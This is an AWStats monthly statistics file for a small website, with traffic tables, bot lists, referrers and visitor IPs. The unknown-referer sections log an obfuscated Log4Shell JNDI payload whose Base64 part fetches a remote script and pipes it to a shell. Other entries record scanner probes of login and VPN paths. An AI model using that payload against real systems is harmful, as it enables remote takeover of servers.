AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202406 will be lost/reset.
# Last config file used to build this data file was /home1/aiocom/tmp/awstats/ssl/awstats.aiocom.co.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2009                
POS_TIME 2690                
POS_VISITOR 19185               
POS_DAY 64485               
POS_DOMAIN 3669                
POS_LOGIN 4814                
POS_ROBOT 5097                
POS_WORMS 5701                
POS_EMAILSENDER 5832                
POS_EMAILRECEIVER 5975                
POS_SESSION 65423               
POS_SIDER 65636               
POS_FILETYPES 6110                
POS_DOWNLOADS 6333                
POS_OS 6558                
POS_BROWSER 7071                
POS_SCREENSIZE 12314               
POS_UNKNOWNREFERER 12388               
POS_UNKNOWNREFERERBROWSER 14039               
POS_ORIGIN 15219               
POS_SEREFERRALS 15369               
POS_PAGEREFS 15586               
POS_SEARCHWORDS 17845               
POS_KEYWORDS 17997               
POS_MISC 2354                
POS_ERRORS 18056               
POS_CLUSTER 4670                
POS_SIDER_404 18222               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240701000105 175 24807 5831095262721
FirstTime 20240601000046
LastTime 20240630234605
LastUpdate 20240701153946 175 0 174 0 0
TotalVisits 2620                
TotalUnique 1167                
MonthHostsKnown 0                   
MonthHostsUnknown 1167                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 0 0
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 639 645 27664211 209 227 2117835
1 642 659 28329148 355 380 3344129
2 577 580 25111267 183 200 2138603
3 559 559 27175844 111 132 1316822
4 566 596 25093674 230 261 3665744
5 574 589 25066850 357 401 4615089
6 541 556 25017168 109 134 1575385
7 562 582 25192262 303 321 3583566
8 603 610 25403095 242 268 2444432
9 592 611 25376123 178 206 2645759
10 650 704 25741296 319 367 4904656
11 598 610 25011323 241 348 2992646
12 590 596 24757186 119 144 1328532
13 604 622 26069954 181 205 2177299
14 720 720 27033267 415 440 5880655
15 605 616 25165883 189 229 3126849
16 612 618 25333759 198 218 1928396
17 550 556 24792504 127 157 1346240
18 548 548 24799569 92 124 951933
19 532 537 24773467 161 184 1475159
20 597 616 24936678 139 192 1398940
21 732 735 24703472 302 311 2262727
22 575 591 25042577 122 139 1280070
23 555 564 24645311 128 199 1394322
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 65
de 8794 8796 575567185
gb 1466 1476 1308771
us 1223 1346 17588538
ir 889 902 632084
bg 318 343 1175276
cn 293 398 3345279
ru 176 176 2878413
in 139 139 678098
kw 139 139 2031763
ca 95 110 1019603
jp 91 91 564013
pl 78 78 1090556
vn 57 57 85054
fr 54 54 652137
nl 52 52 551542
se 44 44 356803
be 42 42 348362
ua 38 38 213183
it 30 30 38580
br 29 29 33047
au 26 26 86193
id 21 21 100412
gr 16 16 137110
sg 15 15 72121
tr 13 13 113337
sz 2 2 464
ch 3 3 2677
bd 3 3 4861
sc 7 7 8265
ma 3 3 696
no 6 6 25667
my 7 7 7600
ee 2 2 81267
zz 6 6 191768
pk 2 2 4423
th 10 10 3517
kz 4 4 1612
by 1 1 232
za 12 12 26826
vg 2 2 4419
dk 1 1 232
es 12 12 80821
eu 4 4 85688
ro 7 7 159902
hu 6 6 5747
me 5 5 11084
lv 1 1 2229
ar 2 2 806
mt 2 2 2337
ge 6 6 1392
uz 3 3 1209
pa 4 8 341174
fi 2 2 4444
nz 6 6 21490
lt 5 5 2015
il 6 6 333653
tw 10 10 3859
kr 4 4 4905
eg 1 1 403
cz 1 1 14617
la 5 5 8806
hk 5 5 8824
sk 5 5 11058
cl 5 5 83943
kg 7 7 13496
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 2
15rXw4tETAWdzZsVribK5i3V1jWsp1VciU 1 1 66650 20240621005609
0xfb537bf2620333b10779e291d4b9fca3452eb6c8 1 1 66650 20240621005612
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 12
Go\-http\-client/ 407 6034781 20240630093032 0
no_user_agent 230 15219148 20240630222521 0
bingbot/ 43 557022 20240630210235 0
(firefox/)([0-9]\.|[0-1][0]\.) 20 165654 20240623181657 0
Googlebot/ 17 118089 20240604204903 0
curl 14 859762 20240629085820 0
MJ12bot/ 9 253133 20240627135037 0
nbot 4 58468 20240626192337 0
bot[\s_+:,\.\;\/\\-] 4 58468 20240628145318 0
survey 1 66650 20240605011840 0
msnbot\-media/ 1 14617 20240602192620 0
scanner 1 14617 20240612150117 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 8
js 239 1889985 0 0
txt 45 326985 0 0
php 4423 3334997 0 0
html 9845 601227084 0 0
woff2 30 2980668 0 0
ttf 3 2410152 0 0
Unknown 22 50732 0 0
css 13 15285 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 3
/wp-content/plugins/otter-blocks/readme.txt 15 0 248595
/wp-content/plugins/wp-maintenance-mode/readme.txt 15 0 65685
/wp-content/themes/twentytwentythree/readme.txt 15 0 12705
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 29
macosx12 2 2
androidmarshmallow 20 20
win8.1 104 104
linux 1133 1110
androidoreo 18 4
androidnougat 27 27
macosx 106 31
winunknown 1 1
winnt 23 23
macosx10 221 221
macosx15 112 83
macosx14 18 18
winlong 17 17
linuxgentoo 22 22
ios_iphone 66 66
win10 2372 2289
winxp 43 43
macosx9 5 5
Unknown 9706 9644
macosx11 3 3
androidpie 8 8
ios_ipad 4 4
linuxubuntu 17 17
macosx7 28 28
androidkitkat 7 7
win8 10 10
android10 39 39
android 18 18
win7 470 459
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 243
chrome63.0.3239.84 10 10
chrome60.0.3112.113 51 51
chrome113.0.0.0 5 5
chrome80.0.3987.162 1 1
chrome60.0.3112.101 11 11
firefox83.0 2 2
chrome85.0.4183.102 4 4
firefox34.0 7 7
chrome124.0.0.0 20 10
chrome70.0.3538.77 15 15
chrome88.0.1763 1 1
firefox78.0 7 7
chrome17.0.963.56 28 28
chrome52.0.3017.112 1 1
chrome85.0.4183.127 1 1
firefox40.0 7 7
chrome86.0.4240.111 2 2
chrome54.0.2840.99 7 7
chrome51.0.2704.106 12 12
chrome107.0.0.0 18 12
firefox109.0 2 2
safari14.0 1 1
chrome69.0.3497.100 4 4
firefox33.0 10 10
chrome80.0.3987.149 11 11
chrome68.0.3440.106 15 15
chrome81.0.4044.138 21 21
firefox84.0 2 2
chrome85.0.1034 1 1
chrome114.0.0.0 2 2
firefox124.0 2 2
firefox36.0 6 6
chrome55.0.3017.104 1 1
chrome89.0.4389.114 258 258
firefox57.0 9 9
opera108.0.0.0 1 1
chrome54.0.2840.98 2 2
chrome44.0.2403.157 2 2
firefox102.0 2 2
chrome47.0.2526.111 18 18
chrome42.0.2311.90 2 2
firefox18.0 3 3
firefox52.0 21 21
chrome80.0.3987.132 16 16
chrome60.0.3112.90 10 10
chrome81.0.4044.122 12 12
chrome20.0.1132.57 1 1
chrome84.0.4147.135 6 6
firefox61.0 14 14
chrome70.0.3538.67 17 17
safari13.0.5 1 1
chrome55.0.2883.87 28 28
firefox116.0 1 1
chrome74.0.3729.131 1 1
chrome91.0.4472.77 1 1
chrome71.0.3578.83 1 1
chrome52.0.5217.98 16 16
chrome116.0.0.0 2 2
chrome76.0.1422 1 1
firefox91.0 23 23
chrome119.0.6045.200 4 4
chrome73.0.2720 1 1
firefox45.0 5 5
chrome46.0.2490.86 10 10
chrome88.0.4324.192 1 1
firefox115.0 10 10
opera28.0.1750.40 1 1
safari 12 12
chrome48.0.2564.116 7 7
chrome105.0.0.0 12 12
chrome91.0.4472.124 3 3
safari13.0.3 47 47
chrome90.0.4430.212 3 3
chrome65.0.2785 1 1
chrome67.0.3396.87 7 7
chrome87.0.4280.88 119 30
chrome36.0.1985.125 15 15
firefox38.0 3 3
firefox20.6.14 3 3
chrome87.0.2091 1 1
chrome65.0.3325.181 25 25
chrome118.0.0.0 2 2
firefox88.0 6 6
chrome74.0.3729.169 4 4
chrome89.0.4389.90 3 3
firefox50.0 9 9
chrome71.0.2623.112 7 7
chrome109.0.0.0 1 1
chrome91.0.4472.114 57 57
firefox122.0 2 2
firefox63.0 5 5
chrome56.0.2924.87 20 20
firefox73.0 6 6
chrome96.0.4664.110 33 33
chrome86.0.4240.110 2 2
chrome63.0.3239.132 18 17
firefox66.0 4 4
mozilla 88 81
safari14.1.2 2 2
chrome83.0.4103.116 59 59
firefox47.0 6 6
chrome32.0.1700.107 6 6
chrome62.0.3202.9 1295 1295
chrome103.0.1988 1 1
chrome61.0.3163.100 13 13
firefox59.0 4 4
chrome74.0.1935 1 1
opera94.0.0.0 1 1
chrome21.0.1180.83 6 6
chrome77.0.3865.90 1 1
safari14.0.1 2 2
firefox113.0 4 4
firefox42.0 3 3
chrome62.0.3202.89 9 9
chrome79.0.3945.136 2 2
chrome88.0.4324.104 5 5
chrome121.0.0.0 35 14
chrome90.0.4430.93 8 8
safari17.3.1 5 5
chrome60.0.1459 1 1
chrome49.0.2623.112 12 12
chrome89.0.4389.82 5 5
firefox24.0 2 2
chrome98.0.4758.102 5 5
safari13.1.1 1 1
chrome120.0.0.0 3 3
chrome92.0.4515.107 3 3
firefox30.0 4 4
chrome72.0.3626.109 14 14
chrome64.0.3282.167 6 6
opera63.3.3216.58675 3 3
chrome88.0.4324.150 1 1
chrome122.0.6261.112 4 4
firefox43.0 10 10
chrome48.0.2564.109 5 5
chrome108.0.5359.19 1 1
chrome56.0.2924.76 1 1
chrome50.0.2661.102 3 3
chrome79.0.3945.130 30 30
firefox40.1 4 4
firefox17.0 3 3
edge16 1 1
firefox44.0 5 5
android 7 7
chrome88.0.4324.190 12 12
chrome73.0.3683.86 12 12
firefox58.0 1 1
safari13.0.4 1 1
chrome67.0.3396.99 13 13
chrome110.0.0.0 3 3
chrome117.0.5938.132 24 3
chrome101.0.4951.67 1 1
Unknown 9568 9513
firefox89.0 2 2
chrome5.0.375.99 7 7
msie7.0 1 1
chrome63.0.1964 1 1
chrome119.0.0.0 1 1
chrome57.0.2987.133 24 24
chrome108.0.0.0 5 5
chrome47.0.2526.106 26 26
chrome95.0.2431 1 1
chrome64.0.3282.140 7 7
chrome59.0.3071.115 16 16
chrome50.0.2224 1 1
chrome65.0.2930 1 1
netscape5.0 52 52
chrome80.0.3987.106 4 4
chrome125.0.0.0 29 6
chrome53.0.2785.143 12 12
firefox77.0 1 1
safari17.1 1 1
chrome68.0.3440.91 4 4
chrome115.0.0.0 7 7
safari16.1 1 1
firefox85.0 7 7
chrome85.0.4183.120 1 1
firefox67.0 7 7
safari15.6.1 2 2
chrome51.0.1691 1 1
chrome73.0.3683.75 6 6
chrome59.0.1264 1 1
chrome81.0.4044.129 64 64
firefox62.0 7 7
firefox60.0 6 6
chrome58.0.3029.110 6 6
chrome79.0.3945.88 21 21
chrome101.0.898 1 1
chrome85.0.4183.121 5 5
firefox29.0 2 2
firefox106.0 1 1
chrome118.0.5993.80 1 1
chrome46.0.2490.80 22 22
chrome83.0.4103.61 22 6
chrome78.0.3904.108 2 2
chrome52.0.2743.116 12 12
chrome92.0.4515.159 16 16
chrome46.0.2490.71 6 6
chrome64.0.3282.186 3 3
chrome103.0.5060.114 13 13
chrome86.0.4240.193 4 4
chrome87.0.4280.141 5 5
chrome66.0.3359.117 25 25
chrome72.0.3626.121 14 14
chrome76.0.3809.111 2 2
safari5.0.4 69 69
chrome78.0.3904.62 1 1
safari14.0.3 1 1
firefox54.0 11 11
chrome80.0.3987.163 13 13
chrome60.0.3112.107 22 22
chrome95.0.4638.69 9 9
chrome41.0.2272.101 8 8
chrome84.0.4143.7 1 1
firefox111.0 1 1
chrome78.0.1835 1 1
firefox41.0 2 2
chrome99.0.1847 1 1
chrome39.0.2171.95 213 213
chrome112.0.0.0 1 1
chrome70.0.3538.102 11 11
chrome83.0.4103.97 49 20
chrome74.0.3729.157 5 5
firefox95.0 974 974
chrome100.0.4896.60 14 14
chrome94.0.4606.61 2 2
chrome104.0.0.0 8 8
chrome78.0.3904.97 10 10
chrome117.0.0.0 27 22
firefox65.0 6 6
chrome71.0.3552.0 4 4
firefox99.0 18 18
chrome79.0.3945.117 9 9
chrome62.0.3202.94 19 19
chrome79.0.3945.79 16 2
safari13.1.2 1 1
chrome78.0.3904.70 8 8
chrome84.0.4147.111 1 1
chrome84.0.4147.105 4 4
chrome86.0.4240.198 5 5
firefox79.0 8 8
chrome122.0.0.0 26 26
iphone 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 32
fasthttp 20240606195643
UArsjw49PH8iQTQ 20240622224841
Mozilla/5.0_(compatible;_Odin;_https://docs.getodin.com/) 20240623154011
axios/1.7.2 20240617224534
Mozilla/5.0 20240620012336
WordPress/6.5.3;_https://aiocom.co 20240606224712
python-httpx/0.27.0 20240629073632
Mozilla/5.0_zgrab/0.x 20240630060747
HTTP_Banner_Detection_(https://security.ipip.net) 20240611143534
Python/3.10_aiohttp/3.9.4 20240630000717
m4qKffzH6MFsGUr 20240622224737
python-requests/2.32.3 20240623174959
WordPress/6.5.5;_https://aiocom.co 20240630235107
Mozilla/5.0_(compatible;_Dataprovider.com) 20240604082254
python-requests/2.32.2 20240607022245
eUqOJngKKeWmNAk 20240611103138
Python/3.11_aiohttp/3.8.4 20240624172226
VfzxrfmDBZWPVig 20240622224638
quic-go-HTTP/3 20240628154335
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20240629142009
Mozilla/5.0_Gecko/20100101_Firefox/106.0 20240609143402
python-requests/2.25.1 20240612051200
Blackbox_Exporter/0.24.0 20240630234605
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240630191440
python-requests/2.27.1 20240619060436
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141.98.11.82:2411/TomcatBypass/Command/Base64/Y3VybCBodHRwOi8vMTg1LjE3Mi4xMjguOTMvbGcgfHNoIHx8IHdnZXQgLU8tIGh0dHA6Ly8xODUuMTcyLjEyOC45My9sZyB8IHNo}') 20240618220830
Custom-AsyncHttpClient 20240630034612
ggFS9SLvSPhkTpR 20240611103023
o0nbz00QUhmqkgo 20240611103211
WordPress/6.5.4;_https://aiocom.co 20240624224606
python-requests/2.31.0 20240629044705
'Mozilla/5.0 20240612165823
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 24
python-requests/2.32.3 20240623174959
m4qKffzH6MFsGUr 20240622224737
HTTP_Banner_Detection_(https://security.ipip.net) 20240611143534
Python/3.10_aiohttp/3.9.4 20240630000717
python-httpx/0.27.0 20240629073632
WordPress/6.5.3;_https://aiocom.co 20240606224712
axios/1.7.2 20240617224534
UArsjw49PH8iQTQ 20240622224841
fasthttp 20240606195643
VfzxrfmDBZWPVig 20240622224638
quic-go-HTTP/3 20240628154335
Python/3.11_aiohttp/3.8.4 20240624172226
eUqOJngKKeWmNAk 20240611103138
python-requests/2.32.2 20240607022245
WordPress/6.5.5;_https://aiocom.co 20240630235107
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141.98.11.82:2411/TomcatBypass/Command/Base64/Y3VybCBodHRwOi8vMTg1LjE3Mi4xMjguOTMvbGcgfHNoIHx8IHdnZXQgLU8tIGh0dHA6Ly8xODUuMTcyLjEyOC45My9sZyB8IHNo}') 20240618220830
python-requests/2.27.1 20240619060436
Blackbox_Exporter/0.24.0 20240630234605
python-requests/2.25.1 20240612051200
python-requests/2.31.0 20240629044705
WordPress/6.5.4;_https://aiocom.co 20240624224606
ggFS9SLvSPhkTpR 20240611103023
o0nbz00QUhmqkgo 20240611103211
Custom-AsyncHttpClient 20240630034612
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 13814 13910
From1 21 21
From2 14 14
From3 233 233
From4 241 442
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 4
www_google_com_hk 2 2
bing_com_catchall 1 1
baidu 2 2
www_google_com 9 9
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 53
https://31.25.90.179 87 87
https://31.25.90.179/ab2h 21 21
https://31.25.90.179/ab2g 21 21
https://reg1.alamehedu.ir 7 7
https://ftp.kavano.co 7 7
https://pop.kavano.co 7 7
http://31.25.90.179:443 6 6
https://31.25.90.179:443 6 6
https://smtp.kavano.co/robots.txt 5 5
https://smtp.kavano.co/sitemap.xml 4 4
https://31.25.90.179/js/NewWindow_2_all.js 4 4
https://31.25.90.179/sitemap.xml 3 3
https://dailydev.ir/sitemap.xml 3 3
https://dailydev.ir/robots.txt 3 3
https://reg.alameh.ir/sitemap.xml 3 3
https://31.25.90.179/robots.txt 3 3
https://31.25.90.179/owncloud/status.php 2 2
https://31.25.90.179/Public/home/js/check.js 2 2
https://reg.alameh.ir/robots.txt 2 2
https://31.25.90.179/static/admin/javascript/hetong.js 2 2
https://mail.aiocom.co 2 2
https://test.haftonim.com 2 2
https://31.25.90.179/Remote 1 1
https://reg.alameh.ir 1 1
https://31.25.90.179/sitecore/shell/sitecore.version.xml 1 1
https://31.25.90.179/dana-cached/hc/HostCheckerInstaller.osx 1 1
https://31.25.90.179/owa/auth/errorFE.aspx 1 1
http://31.25.90.179:2086 1 1
https://31.25.90.179:443/ztp/cgi-bin/handler 1 1
https://31.25.90.179/owa/auth/logon.aspx 1 1
https://31.25.90.179/index.jsp 1 1
https://31.25.90.179/RDWeb 1 1
https://31.25.90.179:443/wsman 1 1
https://31.25.90.179 1 1
https://31.25.90.179/dana-na/nc/nc_gina_ver.txt 1 1
https://31.25.90.179/dns-query 1 1
https://dailydev.ir 1 1
https://31.25.90.179/owa/ 1 1
https://smtp.kavano.co 1 1
https://31.25.90.179/status.php 1 1
https://31.25.90.179/sslvpnLogin.html 1 1
https://31.25.90.179/auth1.html 1 1
https://31.25.90.179/wp-content/plugins/elementor/readme.txt 1 1
https://reg.alamehedu.ir/sitemap.xml 1 1
https://31.25.90.179/auth.html 1 1
https://31.25.90.179/wp-content/plugins/wpschoolpress/readme.txt 1 1
https://reg.alamehedu.ir/robots.txt 1 1
https://31.25.90.179/api/sonicos/tfa 1 1
https://31.25.90.179/wp-content/plugins/wp-video-lightbox/readme.txt 1 1
https://reg.alamehedu.ir 1 1
https://31.25.90.179/api/sonicos/auth 1 1
https://31.25.90.179/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 1 1
http://ftp.kavano.co:443 1 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 7
302 2133 35165283
404 87 1054266
301 2287 0
405 2 104
403 206 253174
400 8 152
409 2 2400
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 19
/wp-content/plugins/feed-them-social/readme.txt 1 -
/remote/login 3 -
/RDWeb/Pages/en-US/login.aspx 2 -
/global-protect/login.esp 3 -
/tmui/tmui/login/welcome.jsp 1 -
/app/login 1 -
/manage/account/login 8 -
/mgmt/shared/authn/login 2 -
/wp-content/plugins/import-xml-feed/readme.txt 2 -
/login.rst 4 -
/.well-known/acme-challenge/wp-login.php 1 https://aiocom.co//.well-known/acme-challenge/wp-login.php
/wp-content/plugins/classic-editor/wp-login.php 1 https://aiocom.co//wp-content/plugins/classic-editor/wp-login.php
/tmui/login.jsp 2 -
/cgi-bin/login.cgi 6 -
/tmui/login.jsp/.. 3 -
/login.jsp 7 -
/login.action 34 -
/new/login 4 -
/agent/login 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 1167
37.228.139.214 8624 8624 574789600 20240630235605
128.199.137.235 1295 1295 271950 20240602011649
31.25.90.179 848 848 207262 20240630235107
94.156.69.215 258 258 170263 20240629214716
62.215.206.172 139 139 2031763 20240619142216
195.3.223.228 74 74 1081658 20240617013113
92.205.6.175 62 62 24986 20240623181646
78.153.140.179 23 23 336191 20240629103727
78.153.140.177 23 23 336191 20240626101126
91.121.179.87 20 20 8060 20240623174346
3.237.253.246 19 19 2074909 20240624033158
34.205.172.197 19 19 2074909 20240618004933
44.222.236.179 19 19 2074909 20240606013354
91.92.252.110 18 18 263106 20240624161031
91.92.252.86 18 18 263106 20240624195323
159.65.84.119 17 17 6851 20240623103947
92.205.19.74 15 15 33266 20240623163200
160.153.153.167 14 14 5642 20240623185330
94.23.61.165 12 12 26616 20240623145100
109.129.19.79 12 12 4836 20240623163607
138.128.174.26 12 12 18092 20240619113919
102.23.122.251 12 12 19933 20240630102801
94.32.111.10 11 11 6376 20240628134410
37.97.201.80 11 11 4433 20240622175500
36.99.136.129 11 18 197222 20240630044601
145.239.86.113 3 3 6647 20240619022847
167.94.145.98 1 1 14617 20240620144230
39.101.185.186 4 4 4750 20240626144435
49.235.65.73 2 2 4306 20240619032100
54.39.17.116 1 1 232 20240613133617
47.90.99.141 4 4 4773 20240630140842
78.128.8.148 1 1 232 20240613192317
213.65.160.226 7 7 13128 20240619015915
171.244.0.91 4 4 8848 20240621223728
118.194.236.126 3 6 65650 20240612055756
162.254.37.197 3 3 4520 20240630084751
193.3.35.90 1 1 232 20240605130628
47.107.64.152 4 4 4752 20240628154659
51.79.26.235 4 4 4768 20240628154534
178.128.154.5 2 2 29234 20240607170450
206.168.34.40 1 1 14617 20240625082053
143.110.157.36 2 2 29234 20240605233931
109.120.139.2 4 4 58468 20240610011715
165.22.246.105 1 1 66650 20240619232713
152.32.129.154 4 4 58468 20240625142759
3.0.96.28 1 1 14617 20240616225937
162.214.127.74 2 2 4284 20240609112619
52.163.127.30 1 1 14617 20240603014337
185.104.44.139 2 2 4304 20240619105217
64.23.142.227 1 1 14617 20240625070456
203.33.203.148 1 1 14617 20240626152720
47.254.25.10 1 1 14617 20240616033559
199.45.154.113 1 1 14617 20240620100240
173.201.190.248 3 3 1209 20240623073431
120.77.35.242 6 6 9038 20240625100138
164.132.224.21 2 2 4443 20240609215210
185.182.56.206 4 4 8588 20240619044344
128.14.188.98 1 1 14617 20240620053208
44.220.185.164 1 1 14617 20240606212109
125.217.249.122 4 4 8594 20240619121348
8.131.70.17 4 4 6769 20240625133740
103.176.179.125 3 3 6639 20240623071455
202.51.117.99 1 1 2229 20240620192425
103.152.240.96 2 2 464 20240630132100
162.240.161.12 2 2 4288 20240619150923
79.143.92.103 1 1 2210 20240626205125
165.232.185.30 2 2 4286 20240609004701
205.169.39.240 2 14 99223 20240603201031
65.49.20.66 1 1 14617 20240607101418
39.105.223.219 1 1 403 20240622175506
185.92.139.50 1 1 403 20240605144311
162.142.125.194 1 1 14617 20240621060522
123.30.234.70 1 1 2229 20240619050359
176.56.56.132 1 1 232 20240626142550
87.236.176.43 1 1 14617 20240630191440
36.112.213.61 2 13 97987 20240627102539
44.222.222.92 1 1 66650 20240616090814
39.105.120.190 7 7 17881 20240628121326
47.89.193.162 1 1 14617 20240616033552
167.172.200.168 2 2 29234 20240607020151
194.163.189.220 2 2 806 20240623181630
209.59.156.90 2 2 4288 20240609012415
202.109.241.6 1 1 14617 20240608044253
165.232.191.9 1 1 2213 20240609002312
164.92.107.174 1 1 66650 20240602234037
123.6.49.50 1 8 55867 20240618074311
198.211.102.54 1 1 14617 20240630000717
3.110.156.108 1 1 14617 20240614201706
64.62.197.86 1 1 14617 20240622082414
162.240.233.135 1 1 232 20240630145619
161.35.23.58 4 4 8866 20240626184335
43.133.77.208 1 1 14617 20240618192601
135.125.1.9 7 7 15517 20240627161724
199.45.154.117 2 2 29234 20240622202729
138.197.12.154 1 1 14617 20240608115535
104.248.45.30 5 5 5003 20240628105552
111.7.96.152 2 8 69100 20240608095159
150.95.83.97 3 3 4538 20240619020030
210.5.50.147 3 3 4538 20240628135559
54.202.89.207 1 1 14617 20240630152359
80.76.49.5 1 1 14617 20240619114738
43.135.129.233 1 1 14617 20240626030355
165.154.206.222 4 4 58468 20240611230906
46.101.218.201 2 2 806 20240620131456
64.226.114.215 1 1 14617 20240613052927
51.254.49.97 1 1 66650 20240621202159
192.42.116.208 1 1 66650 20240611103211
51.195.176.80 3 3 6671 20240621232042
103.14.214.13 1 1 66650 20240626134550
116.62.155.4 4 4 4748 20240626150857
149.91.122.223 4 4 8864 20240626200136
67.222.16.110 2 2 4306 20240619012848
128.14.173.117 3 3 43851 20240622111809
209.127.107.243 1 1 14617 20240604135920
144.217.181.137 5 5 11109 20240622214916
199.45.154.69 1 1 14617 20240612090013
45.156.129.44 1 1 14617 20240614200736
80.150.6.150 1 1 403 20240621204540
161.35.27.78 1 1 14617 20240612073633
179.43.167.18 2 2 29234 20240616053902
43.142.164.252 3 3 6675 20240623171109
104.248.141.116 6 6 12856 20240609052011
198.211.125.40 2 2 4304 20240619055405
52.34.211.15 1 1 14617 20240620134804
213.175.217.81 4 4 4768 20240609114915
159.89.104.182 4 4 8572 20240609002312
43.134.170.46 3 3 43851 20240630051411
43.133.72.69 1 1 14617 20240609030955
138.117.149.62 2 2 464 20240613080830
138.128.245.84 2 2 4419 20240627134706
65.49.1.90 1 1 14617 20240605130639
198.57.247.251 4 4 266600 20240628220941
134.209.249.86 7 7 15475 20240627075138
87.236.176.24 1 1 14617 20240614170832
